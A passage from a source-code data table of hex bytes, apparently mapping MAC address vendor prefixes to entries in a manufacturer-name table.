0xc2, 0x03,\r\n0xC8, 0xF6, 0x50, 0x51, 0x03,\r\n0xC8, 0xF6, 0x8D, 0xe1, 0x36,\r\n0xC8, 0xF7, 0x04, 0x4c, 0x1b,\r\n0xC8, 0xF7, 0x33, 0x80, 0x10,\r\n0xC8, 0xF8, 0x6D, 0xd1, 0x06,\r\n0xC8, 0xF9, 0x46, 0xe2, 0x36,\r\n0xC8, 0xF9, 0x81, 0xe3, 0x36,\r\n0xC8, 0xF9, 0xC8, 0xe4, 0x36,\r\n0xC8, 0xF9, 0xF9, 0x05, 0x00,\r\n0xC8, 0xFA, 0xE1, 0xe5, 0x36,\r\n0xC8, 0xFB, 0x26, 0xc4, 0x14,\r\n0xC8, 0xFD, 0x19, 0xeb, 0x0f,\r\n0xC8, 0xFE, 0x30, 0xe6, 0x36,\r\n0xC8, 0xFF, 0x28, 0x21, 0x1c,\r\n0xC8, 0xFF, 0x77, 0xe7, 0x36,\r\n0xCA, 0x12, 0x5C, 0xb4, 0x03,\r\n0xCA, 0x30, 0xBF, 0xe1, 0x0d,\r\n0xCA, 0x44, 0x6C, 0xe8, 0x36,\r\n0xCA, 0x8F, 0xA5, 0xf7, 0x01,\r\n0xCA, 0xC8, 0x7E, 0xe9, 0x36,\r\n0xCA, 0xE5, 0x05, 0xea, 0x36,\r\n0xCC, 0x00, 0x80, 0xeb, 0x36,\r\n0xCC, 0x03, 0xD9, 0x80, 0x14,\r\n0xCC, 0x03, 0xFA, 0xc2, 0x12,\r\n0xCC, 0x04, 0x7C, 0xec, 0x36,\r\n0xCC, 0x04, 0xB4, 0x85, 0x2f,\r\n0xCC, 0x05, 0x1B, 0x4f, 0x02,\r\n0xCC, 0x06, 0x77, 0x54, 0x1f,\r\n0xCC, 0x07, 0xAB, 0x4f, 0x02,\r\n0xCC, 0x07, 0xE4, 0x8c, 0x10,\r\n0xCC, 0x08, 0x8D, 0x51, 0x03,\r\n0xCC, 0x08, 0xE0, 0x51, 0x03,\r\n0xCC, 0x09, 0xC8, 0xed, 0x36,\r\n0xCC, 0x0C, 0xDA, 0xee, 0x36,\r\n0xCC, 0x0D, 0xEC, 0xc4, 0x14,\r\n0xCC, 0x10, 0xA3, 0xb1, 0x0c,\r\n0xCC, 0x14, 0xA6, 0xef, 0x36,\r\n0xCC, 0x16, 0x7E, 0x05, 0x00,\r\n0xCC, 0x18, 0x7B, 0xf0, 0x36,\r\n0xCC, 0x19, 0xA8, 0xf1, 0x36,\r\n0xCC, 0x1A, 0xFA, 0xe1, 0x12,\r\n0xCC, 0x1B, 0xE0, 0x57, 0x17,\r\n0xCC, 0x1E, 0xFF, 0xf2, 0x36,\r\n0xCC, 0x1F, 0xC4, 0xf3, 0x36,\r\n0xCC, 0x20, 0xE8, 0x51, 0x03,\r\n0xCC, 0x22, 0x18, 0xf4, 0x36,\r\n0xCC, 0x22, 0x37, 0x57, 0x17,\r\n0xCC, 0x25, 0xEF, 0x51, 0x03,\r\n0xCC, 0x26, 0x2D, 0xf5, 0x36,\r\n0xCC, 0x29, 0xF5, 0x51, 0x03,\r\n0xCC, 0x2A, 0x80, 0xf6, 0x36,\r\n0xCC, 0x2D, 0x21, 0xb3, 0x27,\r\n0xCC, 0x2D, 0x83, 0xc8, 0x0a,\r\n0xCC, 0x2D, 0x8C, 0xce, 0x17,\r\n0xCC, 0x2D, 0xB7, 0x51, 0x03,\r\n0xCC, 0x2D, 0xE0, 0xfa, 0x0a,\r\n0xCC, 0x2F, 0x71, 0x80, 0x10,\r\n0xCC, 0x30, 0x80, 0xf7, 0x36,\r\n0xCC, 0x33, 0xBB, 0xc4, 0x0c,\r\n0xCC, 0x34, 0x29, 0xcf, 0x09,\r\n0xCC, 0x34, 0xD7, 0xf8, 0x36,\r\n0xCC, 0x35, 0x40, 0xc2, 0x12,\r\n0xCC, 0x37, 0xAB, 0x58, 0x2c,\r\n0xCC, 0x39, 0x8C, 0xf9, 0x36,\r\n0xCC, 0x3A, 0x61, 0x4f, 0x02,\r\n0xCC, 0x3A, 0xDF, 0x65, 0x00,\r\n0xCC, 0x3B, 0x3E, 0xfa, 0x36,\r\n0xCC, 0x3B, 0x58, 0xfb, 0x36,\r\n0xCC, 0x3C, 0x3F, 0xfc, 0x36,\r\n0xCC, 0x3D, 0x82, 0x80, 0x10,\r\n0xCC, 0x3E, 0x5F, 0xc9, 0x01,\r\n0xCC, 0x3F, 0x1D, 0xfd, 0x36,\r\n0xCC, 0x40, 0xD0, 0x68, 0x08,\r\n0xCC, 0x43, 0xE3, 0xfe, 0x36,\r\n0xCC, 0x44, 0x63, 0x51, 0x03,\r\n0xCC, 0x46, 0x39, 0xff, 0x36,\r\n0xCC, 0x46, 0xD6, 0x05, 0x00,\r\n0xCC, 0x47, 0x03, 0x00, 0x37,\r\n0xCC, 0x4A, 0xE1, 0x01, 0x37,\r\n0xCC, 0x4B, 0x73, 0x8e, 0x1c,\r\n0xCC, 0x4B, 0xFB, 0x02, 0x37,\r\n0xCC, 0x4D, 0x38, 0x3e, 0x28,\r\n0xCC, 0x4E, 0x24, 0x80, 0x00,\r\n0xCC, 0x4E, 0xEC, 0x38, 0x03,\r\n0xCC, 0x50, 0x0A, 0x54, 0x1f,\r\n0xCC, 0x50, 0x1C, 0x03, 0x37,\r\n0xCC, 0x50, 0x76, 0x04, 0x37,\r\n0xCC, 0x50, 0xE3, 0xe3, 0x29,\r\n0xCC, 0x51, 0xB4, 0xd5, 0x00,\r\n0xCC, 0x52, 0xAF, 0x0a, 0x01,\r\n0xCC, 0x53, 0xB5, 0xda, 0x14,\r\n0xCC, 0x54, 0x59, 0x05, 0x37,\r\n0xCC, 0x55, 0xAD, 0xe2, 0x1c,\r\n0xCC, 0x59, 0x3E, 0x06, 0x37,\r\n0xCC, 0x5A, 0x53, 0x05, 0x00,\r\n0xCC, 0x5C, 0x75, 0x07, 0x37,\r\n0xCC, 0x5D, 0x4E, 0xc6, 0x10,\r\n0xCC, 0x5D, 0x57, 0x0b, 0x00,\r\n0xCC, 0x5F, 0xBF, 0x08, 0x37,\r\n0xCC, 0x60, 0xBB, 0x09, 0x37,\r\n0xCC, 0x61, 0xE5, 0x22, 0x09,\r\n0xCC, 0x65, 0xAD, 0xb9, 0x00,\r\n0xCC, 0x66, 0xB2, 0x4f, 0x12,\r\n0xCC, 0x69, 0xB0, 0x0a, 0x37,\r\n0xCC, 0x6B, 0x98, 0x0b, 0x37,\r\n0xCC, 0x6B, 0xF1, 0x0c, 0x37,\r\n0xCC, 0x6D, 0xA0, 0xe2, 0x0b,\r\n0xCC, 0x6D, 0xEF, 0x0d, 0x37,\r\n0xCC, 0x6E, 0xA4, 0x4f, 0x02,\r\n0xCC, 0x72, 0x0F, 0x0e, 0x37,\r\n0xCC, 0x73, 0x14, 0xa1, 0x1d,\r\n0xCC, 0x74, 0x98, 0x0f, 0x37,\r\n0xCC, 0x76, 0x69, 0x10, 0x37,\r\n0xCC, 0x78, 0x5F, 0x51, 0x03,\r\n0xCC, 0x78, 0xAB, 0xeb, 0x0f,\r\n0xCC, 0x79, 0x4A, 0x9c, 0x2e,\r\n0xCC, 0x79, 0xCF, 0xe9, 0x01,\r\n0xCC, 0x7A, 0x30, 0x11, 0x37,\r\n0xCC, 0x7B, 0x35, 0xe1, 0x12,\r\n0xCC, 0x7B, 0x61, 0x12, 0x37,\r\n0xCC, 0x7D, 0x37, 0xb9, 0x00,\r\n0xCC, 0x7E, 0xE7, 0x5e, 0x0d,\r\n0xCC, 0x81, 0xDA, 0x4f, 0x2b,\r\n0xCC, 0x82, 0xEB, 0x44, 0x1c,\r\n0xCC, 0x85, 0x6C, 0xe9, 0x01,\r\n0xCC, 0x89, 0xFD, 0x4f, 0x12,\r\n0xCC, 0x8C, 0xDA, 0xe9, 0x01,\r\n0xCC, 0x8C, 0xE3, 0xeb, 0x0f,\r\n0xCC, 0x8E, 0x71, 0x05, 0x00,\r\n0xCC, 0x90, 0x93, 0x13, 0x37,\r\n0xCC, 0x90, 0xE8, 0xe9, 0x01,\r\n0xCC, 0x91, 0x2B, 0x61, 0x33,\r\n0xCC, 0x93, 0x4A, 0xd3, 0x24,\r\n0xCC, 0x94, 0x4A, 0x14, 0x37,\r\n0xCC, 0x94, 0x70, 0x15, 0x37,\r\n0xCC, 0x95, 0xD7, 0xb4, 0x15,\r\n0xCC, 0x96, 0x35, 0x16, 0x37,\r\n0xCC, 0x96, 0xA0, 0xda, 0x14,\r\n0xCC, 0x98, 0x91, 0x05, 0x00,\r\n0xCC, 0x99, 0x16, 0xd5, 0x00,\r\n0xCC, 0x9E, 0x00, 0xc5, 0x08,\r\n0xCC, 0x9F, 0x35, 0x17, 0x37,\r\n0xCC, 0x9F, 0x7A, 0x8c, 0x2e,\r\n0xCC, 0xA0, 0xE5, 0x18, 0x37,\r\n0xCC, 0xA2, 0x19, 0xe9, 0x01,\r\n0xCC, 0xA2, 0x23, 0xda, 0x14,\r\n0xCC, 0xA2, 0x60, 0x19, 0x1d,\r\n0xCC, 0xA3, 0x74, 0xc8, 0x0a,\r\n0xCC, 0xA4, 0x62, 0xb9, 0x00,\r\n0xCC, 0xA4, 0xAF, 0xe9, 0x01,\r\n0xCC, 0xA6, 0x14, 0x19, 0x37,\r\n0xCC, 0xAF, 0x78, 0xe3, 0x11,\r\n0xCC, 0xB0, 0xDA, 0x21, 0x1c,\r\n0xCC, 0xB1, 0x1A, 0x4f, 0x02,\r\n0xCC, 0xB2, 0x55, 0xde, 0x28,\r\n0xCC, 0xB3, 0xAB, 0xe9, 0x01,\r\n0xCC, 0xB3, 0xF8, 0xec, 0x0b,\r\n0xCC, 0xB5, 0x5A, 0x01, 0x0f,\r\n0xCC, 0xB6, 0x91, 0x1a, 0x37,\r\n0xCC, 0xB8, 0x88, 0x1b, 0x37,\r\n0xCC, 0xB8, 0xA8, 0x8e, 0x1c,\r\n0xCC, 0xB8, 0xF1, 0x1c, 0x37,\r\n0xCC, 0xBD, 0x35, 0x1d, 0x37,\r\n0xCC, 0xBD, 0xD3, 0x1e, 0x37,\r\n0xCC, 0xBE, 0x59, 0xaa, 0x05,\r\n0xCC, 0xBE, 0x71, 0x1f, 0x37,\r\n0xCC, 0xC0, 0x79, 0xd4, 0x0c,\r\n0xCC, 0xC1, 0x04, 0x20, 0x37,\r\n0xCC, 0xC2, 0xE0, 0xc8, 0x0c,\r\n0xCC, 0xC3, 0xEA, 0x22, 0x09,\r\n0xCC, 0xC5, 0x0A, 0xe9, 0x01,\r\n0xCC, 0xC5, 0xEF, 0x21, 0x37,\r\n0xCC, 0xC6, 0x2B, 0x22, 0x37,\r\n0xCC, 0xC7, 0x60, 0x51, 0x03,\r\n0xCC, 0xC8, 0xD7, 0x23, 0x37,\r\n0xCC, 0xC9, 0x2C, 0x30, 0x06,\r\n0xCC, 0xCC, 0x4E, 0x24, 0x37,\r\n0xCC, 0xCC, 0x81, 0xda, 0x14,\r\n0xCC, 0xCD, 0x64, 0x25, 0x37,\r\n0xCC, 0xCE, 0x1E, 0xf6, 0x2b,\r\n0xCC, 0xCE, 0x40, 0x26, 0x37,\r\n0xCC, 0xD2, 0x9B, 0xe9, 0x01,\r\n0xCC, 0xD3, 0x1E, 0x57, 0x17,\r\n0xCC, 0xD3, 0xE2, 0x6c, 0x10,\r\n0xCC, 0xD5, 0x39, 0x05, 0x00,\r\n0xCC, 0xD8, 0x11, 0x27, 0x37,\r\n0xCC, 0xD8, 0xC1, 0x05, 0x00,\r\n0xCC, 0xD9, 0xE9, 0x28, 0x37,\r\n0xCC, 0xE0, 0xC3, 0x29, 0x37,\r\n0xCC, 0xE1, 0x7F, 0x08, 0x05,\r\n0xCC, 0xE1, 0xD5, 0xa2, 0x06,\r\n0xCC, 0xE7, 0x98, 0x2a, 0x37,\r\n0xCC, 0xE7, 0xDF, 0x36, 0x06,\r\n0xCC, 0xE8, 0xAC, 0x2b, 0x37,\r\n0xCC, 0xEA, 0x1C, 0x2c, 0x37,\r\n0xCC, 0xEE, 0xD9, 0x2d, 0x37,\r\n0xCC, 0xEF, 0x48, 0x05, 0x00,\r\n0xCC, 0xF3, 0xA5, 0x68, 0x0f,\r\n0xCC, 0xF4, 0x07, 0x2e, 0x37,\r\n0xCC, 0xF5, 0x38, 0x2f, 0x37,\r\n0xCC, 0xF6, 0x7A, 0x30, 0x37,\r\n0xCC, 0xF8, 0x41, 0x31, 0x37,\r\n0xCC, 0xF8, 0xF0, 0x32, 0x37,\r\n0xCC, 0xF9, 0x54, 0xc2, 0x03,\r\n0xCC, 0xF9, 0x57, 0x33, 0x37,\r\n0xCC, 0xF9, 0xE8, 0x4f, 0x02,\r\n0xCC, 0xFA, 0x00, 0xce, 0x17,\r\n0xCC, 0xFB, 0x65, 0xc5, 0x08,\r\n0xCC, 0xFC, 0x6D, 0x34, 0x37,\r\n0xCC, 0xFC, 0xB1, 0x61, 0x01,\r\n0xCC, 0xFD, 0x17, 0xe1, 0x28,\r\n0xCC, 0xFE, 0x3C, 0x4f, 0x02,\r\n0xD0, 0x03, 0x4B, 0x51, 0x03,\r\n0xD0, 0x04, 0x01, 0x22, 0x09,\r\n0xD0, 0x04, 0x92, 0x54, 0x1f,\r\n0xD0, 0x05, 0x2A, 0x5b, 0x10,\r\n0xD0, 0x07, 0x90, 0xeb, 0x0f,\r\n0xD0, 0x07, 0xCA, 0x08, 0x05,\r\n0xD0, 0x0A, 0xAB, 0x5d, 0x00,\r\n0xD0, 0x0E, 0xA4, 0x35, 0x37,\r\n0xD0, 0x0E, 0xD9, 0x56, 0x2b,\r\n0xD0, 0x0F, 0x6D, 0x93, 0x19,\r\n0xD0, 0x12, 0x42, 0x36, 0x37,\r\n0xD0, 0x13, 0x1E, 0x37, 0x37,\r\n0xD0, 0x13, 0xFD, 0xce, 0x17,\r\n0xD0, 0x15, 0x4A, 0xe1, 0x12,\r\n0xD0, 0x17, 0x6A, 0x4f, 0x02,\r\n0xD0, 0x17, 0xC2, 0x20, 0x0b,\r\n0xD0, 0x1A, 0xA7, 0x38, 0x37,\r\n0xD0, 0x1C, 0xBB, 0x32, 0x29,\r\n0xD0, 0x22, 0x12, 0x57, 0x17,\r\n0xD0, 0x22, 0xBE, 0x4f, 0x02,\r\n0xD0, 0x23, 0xDB, 0x51, 0x03,\r\n0xD0, 0x25, 0x16, 0xda, 0x1a,\r\n0xD0, 0x25, 0x44, 0x4f, 0x02,\r\n0xD0, 0x25, 0x98, 0x51, 0x03,\r\n0xD0, 0x27, 0x88, 0xe3, 0x11,\r\n0xD0, 0x2B, 0x20, 0x51, 0x03,\r\n0xD0, 0x2C, 0x45, 0x39, 0x37,\r\n0xD0, 0x2D, 0xB3, 0xda, 0x14,\r\n0xD0, 0x31, 0x10, 0x3a, 0x37,\r\n0xD0, 0x31, 0x69, 0x4f, 0x02,\r\n0xD0, 0x33, 0x11, 0x51, 0x03,\r\n0xD0, 0x37, 0x42, 0x47, 0x13,\r\n0xD0, 0x37, 0x61, 0xeb, 0x0f,\r\n0xD0, 0x39, 0x72, 0xeb, 0x0f,\r\n0xD0, 0x39, 0xB3, 0xb9, 0x00,\r\n0xD0, 0x3D, 0xC3, 0x3b, 0x37,\r\n0xD0, 0x3E, 0x5C, 0xda, 0x14,\r\n0xD0, 0x43, 0x1E, 0xd1, 0x05,\r\n0xD0, 0x46, 0xDC, 0x3c, 0x37,\r\n0xD0, 0x48, 0xF3, 0x3d, 0x37,\r\n0xD0, 0x49, 0x8B, 0x3e, 0x37,\r\n0xD0, 0x4C, 0xC1, 0x3f, 0x37,\r\n0xD0, 0x4D, 0x2C, 0xe2, 0x0b,\r\n0xD0, 0x4F, 0x7E, 0x51, 0x03,\r\n0xD0, 0x50, 0x99, 0xf3, 0x1d,\r\n0xD0, 0x51, 0x62, 0xbe, 0x09,\r\n0xD0, 0x52, 0xA8, 0x40, 0x37,\r\n0xD0, 0x53, 0x49, 0x21, 0x1c,\r\n0xD0, 0x54, 0x2D, 0x34, 0x02,\r\n0xD0, 0x55, 0xB2, 0xd5, 0x00,\r\n0xD0, 0x57, 0x4C, 0x05, 0x00,\r\n0xD0, 0x57, 0x7B, 0x80, 0x10,\r\n0xD0, 0x57, 0x85, 0x12, 0x0e,\r\n0xD0, 0x57, 0xA1, 0x41, 0x37,\r\n0xD0, 0x58, 0x75, 0x42, 0x37,\r\n0xD0, 0x58, 0xA8, 0xe1, 0x12,\r\n0xD0, 0x58, 0xFC, 0xf8, 0x15,\r\n0xD0, 0x59, 0x95, 0x54, 0x1f,\r\n0xD0, 0x59, 0xC3, 0x43, 0x37,\r\n0xD0, 0x59, 0xE4, 0x4f, 0x02,\r\n0xD0, 0x5A, 0x00, 0xc2, 0x12,\r\n0xD0, 0x5A, 0x0F, 0x44, 0x37,\r\n0xD0, 0x5A, 0xF1, 0xe9, 0x01,\r\n0xD0, 0x5B, 0xA8, 0xe1, 0x12,\r\n0xD0, 0x5C, 0x7A, 0x45, 0x37,\r\n0xD0, 0x5F, 0xB8, 0xeb, 0x0f,\r\n0xD0, 0x5F, 0xCE, 0xe5, 0x01,\r\n0xD0, 0x60, 0x8C, 0xe1, 0x12,\r\n0xD0, 0x62, 0xA0, 0x46, 0x37,\r\n0xD0, 0x63, 0x4D, 0x47, 0x37,\r\n0xD0, 0x63, 0xB4, 0x48, 0x37,\r\n0xD0, 0x65, 0xCA, 0xda, 0x14,\r\n0xD0, 0x66, 0x6D, 0xe9, 0x01,\r\n0xD0, 0x66, 0x7B, 0x4f, 0x02,\r\n0xD0, 0x67, 0x26, 0xc9, 0x01,\r\n0xD0, 0x67, 0xE5, 0xd1, 0x05,\r\n0xD0, 0x69, 0x9E, 0x49, 0x37,\r\n0xD0, 0x69, 0xD0, 0x4a, 0x37,\r\n0xD0, 0x6A, 0x1F, 0x4b, 0x37,\r\n0xD0, 0x6F, 0x4A, 0x4c, 0x37,\r\n0xD0, 0x6F, 0x82, 0xda, 0x14,\r\n0xD0, 0x71, 0xC4, 0xe1, 0x12,\r\n0xD0, 0x72, 0xDC, 0x05, 0x00,\r\n0xD0, 0x73, 0x7F, 0x4d, 0x37,\r\n0xD0, 0x73, 0x8E, 0x4e, 0x37,\r\n0xD0, 0x73, 0xD5, 0x4f, 0x37,\r\n0xD0, 0x75, 0xBE, 0x50, 0x37,\r\n0xD0, 0x76, 0x50, 0x57, 0x17,\r\n0xD0, 0x76, 0xE7, 0xcf, 0x09,\r\n0xD0, 0x77, 0x14, 0x22, 0x09,\r\n0xD0, 0x7A, 0xB5, 0xda, 0x14,\r\n0xD0, 0x7C, 0x2D, 0x51, 0x37,\r\n0xD0, 0x7D, 0xE5, 0x52, 0x37,\r\n0xD0, 0x7E, 0x28, 0xc9, 0x01,\r\n0xD0, 0x7E, 0x35, 0x80, 0x10,\r\n0xD0, 0x7F, 0xC4, 0x53, 0x37,\r\n0xD0, 0x81, 0x7A, 0x51, 0x03,\r\n0xD0, 0x83, 0xD4, 0x54, 0x37,\r\n0xD0, 0x84, 0xB0, 0xc4, 0x0c,\r\n0xD0, 0x87, 0xE2, 0x4f, 0x02,\r\n0xD0, 0x89, 0x99, 0x55, 0x37,\r\n0xD0, 0x8A, 0x55, 0x56, 0x37,\r\n0xD0, 0x8A, 0x91, 0xc2, 0x12,\r\n0xD0, 0x8B, 0x7E, 0x57, 0x37,\r\n0xD0, 0x8C, 0xB5, 0xeb, 0x0f,\r\n0xD0, 0x8C, 0xFF, 0x58, 0x37,\r\n0xD0, 0x92, 0x9E, 0xb4, 0x03,\r\n0xD0, 0x93, 0x80, 0x59, 0x37,\r\n0xD0, 0x93, 0xF8, 0x5a, 0x37,\r\n0xD0, 0x94, 0x66, 0xd1, 0x05,\r\n0xD0, 0x95, 0xC7, 0x12, 0x0e,\r\n0xD0, 0x96, 0xFB, 0x97, 0x33,\r\n0xD0, 0x99, 0xD5, 0xd1, 0x06,\r\n0xD0, 0x9B, 0x05, 0x5b, 0x37,\r\n0xD0, 0x9C, 0x30, 0x5c, 0x37,\r\n0xD0, 0x9D, 0x0A, 0x5d, 0x37,\r\n0xD0, 0x9D, 0xAB, 0xe1, 0x28,\r\n0xD0, 0xA0, 0xD6, 0x5e, 0x37,\r\n0xD0, 0xA3, 0x11, 0x5f, 0x37,\r\n0xD0, 0xA4, 0xB1, 0x60, 0x37,\r\n0xD0, 0xA5, 0xA6, 0x05, 0x00,\r\n0xD0, 0xA6, 0x37, 0x51, 0x03,\r\n0xD0, 0xAE, 0xEC, 0xd8, 0x0d,\r\n0xD0, 0xAF, 0xB6, 0x61, 0x37,\r\n0xD0, 0xB0, 0xCD, 0x62, 0x37,\r\n0xD0, 0xB1, 0x28, 0x4f, 0x02,\r\n0xD0, 0xB2, 0x14, 0x63, 0x37,\r\n0xD0, 0xB2, 0xC4, 0xc2, 0x12,\r\n0xD0, 0xB3, 0x3F, 0xe9, 0x01,\r\n0xD0, 0xB4, 0x98, 0xf0, 0x0b,\r\n0xD0, 0xB5, 0x23, 0x64, 0x37,\r\n0xD0, 0xB5, 0x3D, 0x65, 0x37,\r\n0xD0, 0xB5, 0xC2, 0xeb, 0x0f,\r\n0xD0, 0xBA, 0xE4, 0x0e, 0x03,\r\n0xD0, 0xBB, 0x80, 0x66, 0x37,\r\n0xD0, 0xBD, 0x01, 0x67, 0x37,\r\n0xD0, 0xBE, 0x2C, 0x68, 0x37,\r\n0xD0, 0xBF, 0x9C, 0xc9, 0x01,\r\n0xD0, 0xC0, 0xBF, 0x69, 0x37,\r\n0xD0, 0xC1, 0x93, 0x6a, 0x37,\r\n0xD0, 0xC1, 0xB1, 0x4f, 0x02,\r\n0xD0, 0xC2, 0x82, 0x05, 0x00,\r\n0xD0, 0xC4, 0x2F, 0x6b, 0x37,\r\n0xD0, 0xC5, 0xD3, 0xb5, 0x12,\r\n0xD0, 0xC5, 0xD8, 0x6c, 0x37,\r\n0xD0, 0xC5, 0xF3, 0x51, 0x03,\r\n0xD0, 0xC7, 0x89, 0x05, 0x00,\r\n0xD0, 0xC7, 0xC0, 0xcf, 0x09,\r\n0xD0, 0xCD, 0xE1, 0x34, 0x2a,\r\n0xD0, 0xCF, 0x5E, 0x6d, 0x37,\r\n0xD0, 0xD0, 0x4B, 0xda, 0x14,\r\n0xD0, 0xD0, 0xFD, 0x05, 0x00,\r\n0xD0, 0xD2, 0x12, 0x6e, 0x37,\r\n0xD0, 0xD2, 0x86, 0x6f, 0x37,\r\n0xD0, 0xD2, 0xB0, 0x51, 0x03,\r\n0xD0, 0xD3, 0xFC, 0x70, 0x37,\r\n0xD0, 0xD4, 0x12, 0x71, 0x07,\r\n0xD0, 0xD4, 0x71, 0x71, 0x37,\r\n0xD0, 0xD6, 0xCC, 0x72, 0x37,\r\n0xD0, 0xD7, 0x83, 0xda, 0x14,\r\n0xD0, 0xD9, 0x4F, 0x57, 0x17,\r\n0xD0, 0xDB, 0x32, 0x4f, 0x12,\r\n0xD0, 0xDF, 0x9A, 0x21, 0x1c,\r\n0xD0, 0xDF, 0xB2, 0x73, 0x37,\r\n0xD0, 0xDF, 0xC7, 0x4f, 0x02,\r\n0xD0, 0xE1, 0x40, 0x51, 0x03,\r\n0xD0, 0xE3, 0x47, 0x74, 0x37,\r\n0xD0, 0xE4, 0x0B, 0x75, 0x37,\r\n0xD0, 0xE4, 0x4A, 0xd4, 0x0c,\r\n0xD0, 0xE5, 0x4D, 0xb9, 0x00,\r\n0xD0, 0xE7, 0x82, 0xb5, 0x12,\r\n0xD0, 0xEB, 0x03, 0x76, 0x37,\r\n0xD0, 0xEB, 0x9E, 0x77, 0x37,\r\n0xD0, 0xEF, 0xC1, 0xda, 0x14,\r\n0xD0, 0xF0, 0xDB, 0xce, 0x01,\r\n0xD0, 0xF2, 0x7F, 0x78, 0x37,\r\n0xD0, 0xF7, 0x3B, 0x79, 0x37,\r\n0xD0, 0xF8, 0x8C, 0x22, 0x09,\r\n0xD0, 0xFA, 0x1D, 0x7a, 0x37,\r\n0xD0, 0xFC, 0xCC, 0x4f, 0x02,\r\n0xD0, 0xFF, 0x50, 0xeb, 0x0f,\r\n0xD0, 0xFF, 0x98, 0xda, 0x14,\r\n0xD4, 0x00, 0x0D, 0x7b, 0x37,\r\n0xD4, 0x00, 0x57, 0x7c, 0x37,\r\n0xD4, 0x01, 0x29, 0x35, 0x05,\r\n0xD4, 0x01, 0x6D, 0xcf, 0x09,\r\n0xD4, 0x02, 0x4A, 0x7d, 0x37,\r\n0xD4, 0x04, 0xCD, 0xb9, 0x00,\r\n0xD4, 0x04, 0xFF, 0x08, 0x05,\r\n0xD4, 0x05, 0x98, 0xb9, 0x00,\r\n0xD4, 0x0A, 0xA9, 0xb9, 0x00,\r\n0xD4, 0x0B, 0x1A, 0x3f, 0x08,\r\n0xD4, 0x0B, 0xB9, 0x7e, 0x37,\r\n0xD4, 0x0F, 0xB2, 0xe7, 0x00,\r\n0xD4, 0x10, 0x90, 0x7f, 0x37,\r\n0xD4, 0x10, 0xCF, 0x80, 0x37,\r\n0xD4, 0x11, 0xD6, 0x81, 0x37,\r\n0xD4, 0x12, 0x96, 0x82, 0x37,\r\n0xD4, 0x12, 0xBB, 0x83, 0x37,\r\n0xD4, 0x13, 0x6F, 0xb8, 0x0f,\r\n0xD4, 0x1A, 0x3F, 0xc8, 0x0a,\r\n0xD4, 0x1C, 0x1C, 0x84, 0x37,\r\n0xD4, 0x1D, 0x71, 0xd2, 0x16,\r\n0xD4, 0x1E, 0x35, 0x85, 0x37,\r\n0xD4, 0x1F, 0x0C, 0x86, 0x37,\r\n0xD4, 0x20, 0x6D, 0x3f, 0x08,\r\n0xD4, 0x21, 0x22, 0xef, 0x0c,\r\n0xD4, 0x22, 0x3F, 0x8c, 0x10,\r\n0xD4, 0x22, 0x4E, 0xdd, 0x28,\r\n0xD4, 0x25, 0x8B, 0x80, 0x10,\r\n0xD4, 0x27, 0x51, 0x87, 0x37,\r\n0xD4, 0x28, 0xB2, 0x88, 0x37,\r\n0xD4, 0x28, 0xD5, 0xe1, 0x28,\r\n0xD4, 0x29, 0xEA, 0x89, 0x37,\r\n0xD4, 0x2C, 0x0F, 0xb9, 0x00,\r\n0xD4, 0x2C, 0x3D, 0x8a, 0x37,\r\n0xD4, 0x2C, 0x44, 0x05, 0x00,\r\n0xD4, 0x2F, 0x23, 0x8b, 0x37,\r\n0xD4, 0x31, 0x9D, 0x8c, 0x37,\r\n0xD4, 0x32, 0x66, 0x8d, 0x37,\r\n0xD4, 0x36, 0x39, 0xeb, 0x0f,\r\n0xD4, 0x36, 0xDB, 0x8e, 0x37,\r\n0xD4, 0x37, 0xD7, 0xe1, 0x12,\r\n0xD4, 0x38, 0x9C, 0xbe, 0x09,\r\n0xD4, 0x3A, 0x65, 0x8f, 0x37,\r\n0xD4, 0x3A, 0xE9, 0x4f, 0x28,\r\n0xD4, 0x3D, 0x67, 0x90, 0x37,\r\n0xD4, 0x3D, 0x7E, 0x28, 0x0b,\r\n0xD4, 0x40, 0xF0, 0xda, 0x14,\r\n0xD4, 0x41, 0x65, 0x19, 0x1d,\r\n0xD4, 0x43, 0xA8, 0x0e, 0x2e,\r\n0xD4, 0x45, 0xE8, 0x91, 0x37,\r\n0xD4, 0x4B, 0x5E, 0x3a, 0x03,\r\n0xD4, 0x4C, 0x24, 0x92, 0x37,\r\n0xD4, 0x4C, 0x9C, 0xe9, 0x01,\r\n0xD4, 0x4C, 0xA7, 0x93, 0x37,\r\n0xD4, 0x4F, 0x80, 0x94, 0x37,\r\n0xD4, 0x50, 0x3F, 0xc8, 0x0a,\r\n0xD4, 0x50, 0x7A, 0x95, 0x37,\r\n0xD4, 0x52, 0x2A, 0x96, 0x37,\r\n0xD4, 0x52, 0x51, 0x97, 0x37,\r\n0xD4, 0x52, 0x97, 0x98, 0x37,\r\n0xD4, 0x53, 0xAF, 0x99, 0x37,\r\n0xD4, 0x55, 0x56, 0x9a, 0x37,\r\n0xD4, 0x55, 0xBE, 0xe9, 0x01,\r\n0xD4, 0x5A, 0xB2, 0x9b, 0x37,\r\n0xD4, 0x5C, 0x70, 0xe9, 0x2d,\r\n0xD4, 0x5D, 0x42, 0x4f, 0x12,\r\n0xD4, 0x5D, 0xDF, 0x97, 0x22,\r\n0xD4, 0x5F, 0x25, 0xe9, 0x01,\r\n0xD4, 0x60, 0xE3, 0xef, 0x0c,\r\n0xD4, 0x61, 0x2E, 0xda, 0x14,\r\n0xD4, 0x61, 0x32, 0x9c, 0x37,\r\n0xD4, 0x61, 0x9D, 0x51, 0x03,\r\n0xD4, 0x61, 0xDA, 0x51, 0x03,\r\n0xD4, 0x61, 0xFE, 0x10, 0x0e,\r\n0xD4, 0x63, 0xC6, 0x22, 0x09,\r\n0xD4, 0x63, 0xFE, 0x5b, 0x10,\r\n0xD4, 0x64, 0xF7, 0x9d, 0x37,\r\n0xD4, 0x66, 0xA8, 0x9e, 0x37,\r\n0xD4, 0x67, 0x61, 0x9f, 0x37,\r\n0xD4, 0x67, 0xE7, 0x54, 0x1f,\r\n0xD4, 0x68, 0x4D, 0x02, 0x11,\r\n0xD4, 0x68, 0x67, 0xa0, 0x37,\r\n0xD4, 0x68, 0xBA, 0xe9, 0x01,\r\n0xD4, 0x69, 0xA5, 0x5a, 0x17,\r\n0xD4, 0x6A, 0x6A, 0xe3, 0x11,\r\n0xD4, 0x6A, 0x91, 0xa1, 0x37,\r\n0xD4, 0x6A, 0xA8, 0xda, 0x14,\r\n0xD4, 0x6C, 0xBF, 0x1c, 0x0f,\r\n0xD4, 0x6C, 0xDA, 0xa2, 0x37,\r\n0xD4, 0x6D, 0x50, 0x05, 0x00,\r\n0xD4, 0x6D, 0x6D, 0x80, 0x10,\r\n0xD4, 0x6E, 